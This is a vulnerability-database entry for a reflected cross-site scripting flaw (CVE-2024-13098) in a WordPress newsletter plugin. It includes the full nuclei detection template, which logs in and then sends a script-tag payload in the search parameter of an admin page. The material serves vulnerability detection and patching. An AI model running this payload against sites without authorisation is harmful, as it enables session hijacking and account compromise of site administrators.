HexBrain

Browse / CVEs / CVE-2024-13098

CVE-2024-13098· megamindstechnologies / wordpress email newsletter· CWE-79

WordPress Email Newsletter - Reflected XSS

mediumseverity
5.4CVSS score
0.7%likelihood of exploitation, next 30 days
55%of all CVEs are less likely
Readycheck to confirm it

WordPress Email Newsletter plugin through 1.1 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious link.

Impact

Attackers can execute malicious scripts in the context of high privilege users, potentially leading to account compromise or data theft.

Fix

Update to the latest version of the plugin where the issue is fixed.

How to confirm it

Send: POST /wp-login.php
Positive when: contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=view-subscriber&search=ds"><script>alert(document.domain)</script>`
Positive when: status_code == 200 and contains_all(body, "><script>alert(document.domain)</script>`","wp-email-newsletter")

Run it with nuclei: nuclei -id CVE-2024-13098 -u <target>

The full check
id: CVE-2024-13098

info:
  name: WordPress Email Newsletter - Reflected XSS
  author: Sourabh-Sahu
  severity: medium
  description: |
    WordPress Email Newsletter plugin through 1.1 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious link.
  impact: |
    Attackers can execute malicious scripts in the context of high privilege users, potentially leading to account compromise or data theft.
  remediation: |
    Update to the latest version of the plugin where the issue is fixed.
  reference:
    - https://wpscan.com/vulnerability/eac71f70-993e-4353-8550-affb24c61c02/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2024-13098
    cwe-id: CWE-79
    epss-score: 0.00727
    epss-percentile: 0.54487
    cpe: cpe:2.3:a:megamindstechnologies:wordpress_email_newsletter:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: megamindstechnologies
    product: wordpress_email_newsletter
    publicwww-query: "/plugins/wp-email-newsletter/"
  tags: cve,cve2024,megamindstechnologies,wordpress-email-newsletter,wordpress,wp,wp-plugin,xss,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=

    matchers:
      - type: dsl
        dsl:
          - contains(header, "wordpress_logged_in")
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=view-subscriber&search=ds"><script>alert(document.domain)</script>` HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "><script>alert(document.domain)</script>`","wp-email-newsletter")
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from